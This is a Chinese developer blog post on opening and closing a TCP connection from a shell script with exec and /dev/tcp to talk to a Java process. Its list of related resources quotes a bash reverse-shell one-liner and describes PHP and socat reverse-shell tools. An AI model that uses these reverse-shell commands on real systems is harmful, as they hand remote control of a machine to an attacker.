`
shuofenglxy
  • 浏览: 195363 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

shell 命令 exec 建立tcp连接与关闭连接

 
阅读更多

 shell 命令中要直接与java进程进行端口通信的话,可以使用exec 8>/dev/tcp/172.27.24.12/11111;

if [ "$?" != "0" ];then 
     echo "open $host $port fail!"; 
     exit 1; 
fi
echo "test">&8;
exec 8>&-
exit 0;

 注意:这里的关闭连接只是关闭了shell到java进程的一端。由于tcp是双工,所以java进程端也需要显示的关闭这个连接。

如果java进程使用的是NIO,则关闭socketchannel即可。

 

分享到:
评论

相关推荐

    Android代码-通过shell连接到服务器

    1. 一个Android应用程序:用于在设备上运行shell命令并建立反向TCP连接。 2. 服务器端脚本:可能是用Python、Node.js或其他语言编写,用于接收并处理来自Android设备的连接请求。 3. Android源码:可能包括Java或...

    java Sokcet远程调用shell

    2. 服务器端的ServerSocket监听到连接请求后,接受连接,创建一个Socket实例与客户端建立连接。 3. 客户端通过Socket发送Shell命令字符串到服务器端。 4. 服务器端接收到命令后,使用Runtime或ProcessBuilder类执行...

    Lunix_shell命令

    ### Linux Shell 命令详解 #### 一、概述 Linux Shell 是一种用户与操作系统进行交互的命令行界面。通过 Shell,用户可以执行各种命令来管理文件、运行程序、配置系统等。本篇将详细介绍一系列常用的 Linux Shell ...

    java远程telnet ftp和ssh连接的方法

    本文将详细介绍如何使用Java实现对远程服务器的Telnet、SSH(Secure Shell)和FTP(File Transfer Protocol)连接。 1. **Java连接Telnet** Telnet是一种协议,允许用户通过网络在远程主机上执行命令。在Java中,...

    java 远程调用Shell脚本客户端包

    1. **网络通信**:首先,Java程序需要与远程服务器建立连接,这可以通过Java的Socket编程实现。Socket提供了一种基于TCP/IP协议的低级别通信方式,确保了数据的可靠传输。 2. **SSH协议**:由于远程执行命令通常...

    Tcp Wrapper for solaris 10

    在Solaris 10中,TCP Wrapper的配置与之前版本有所不同,这是因为Solaris 10采用了Service Management Facility (SMF) 来管理服务,而非传统的`/etc/inetd.conf` 文件。 #### 五、启用TCP Wrapper功能 要启用TCP ...

    常用Shell命令集合和使用技巧(推荐)

    【Shell命令集合与使用技巧】 在日常的IT工作中,Shell命令是Linux系统管理的重要工具,掌握高效的Shell操作能显著提高工作效率。以下是一些常用的Shell命令和使用技巧: ### 控制台使用技巧 #### 1.1 操作快捷键...

    ADB常用命令文档.zip

    - `adb disconnect <设备IP>:<端口号>`:断开与设备的连接。 15. **恢复模式与下载模式**: - 根据设备型号不同,可能需要特殊按键组合(如电源+音量+Home键)进入恢复模式或下载模式。 了解和熟练掌握这些ADB...

    ADB+Shell

    首先在设备上开启USB调试,然后用`adb connect <device_ip>:<port>`建立连接,这样即使设备不通过USB线也可以进行远程操作。 五、安全注意事项 由于ADB+Shell具有强大的系统访问权限,因此在使用时必须谨慎,避免误...

    Linux下NC反弹shell命令(推荐)

    然后,攻击者需要在目标机器上执行特定的命令,使目标机器连接到攻击者的监听端口并建立一个Shell。这里我们以`bash`为例: ```bash bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ``` 这条命令创建了一个交互式的Shell...

    sql综合利用工具一部分常用的命令

    - 使用命令`REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal\Server\WinStations\RDP-Tcp /v PortNumber`来查询远程桌面服务的端口号。 - 若要禁用终端服务连接,可以使用`REG ADD HKLM\SYSTEM\...

    java远程调用批处理文件代码归总

    客户端则负责建立连接,发送命令,并接收服务器返回的结果。 在提供的压缩包文件中,"java+tcp多线程通信.rar"可能包含了实现TCP通信的示例代码,可能包括客户端和服务器端的Java类,以及如何在多线程环境中处理多...

    Linux shell下30个有趣的命令和提示(推荐)

    在Linux操作系统中,shell扮演着至关重要的角色,它是用户与系统交互的界面。这里我们整理了30个实用且有趣的Linux shell命令,帮助你更好地理解和操作Linux系统。 1. **监控命令**:`watch "ls -larth"` 可以每两...

    linux运维常用命令

    说明:该命令可以查看 Apache 的并发请求数及其 TCP 连接状态,netstat 选项可以查看网络连接状态,grep 选项可以查找 ESTABLISHED,awk 选项可以处理输出结果,sort 选项可以排序输出结果。 14. 查看 Apache 的...

    socat 使用手册

    socat 是一个多功能的网络工具,用于在不同协议之间建立连接,它可以创建数据传输管道,支持TCP、UDP、SSL/TLS、UNIX域套接字等多种协议,并能实现端口转发、隧道连接、文件传递等功能。在网络安全和系统管理中,...

    32+64位socat,Android版,arm+arm64,android手机可用,android反向shell工具

    Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版...另一端主机用nc 【android设备IP】:10001进行连接即可远程 android shell

    adb_安卓模拟器连接脚本_安卓模拟器_源码

    本教程将详细讲解如何在Windows平台上利用ADB与第三方安卓模拟器建立连接,并通过脚本自动化这一过程。 首先,了解ADB的基础知识是至关重要的。ADB是一个命令行工具,作为开发者与Android设备之间通信的桥梁。它...

    adb基本的命令教程

    - `adb devices`: 这个命令用于列出所有已连接的Android设备或模拟器,状态分为在线(device)或离线(offline)。 2. **安装与卸载应用** - `adb install <apk_path>`: 将本地的APK文件安装到设备上。 - `adb ...

    php-reverse-shell

    2. **套接字通信**:使用PHP的`fsockopen()`或`stream_socket_client()`函数建立TCP连接。 3. **数据传输**:通过`fread()`和`fwrite()`或`stream_socket_sendto()`,`stream_socket_recvfrom()`进行数据的读取和...

Global site tag (gtag.js) - Google Analytics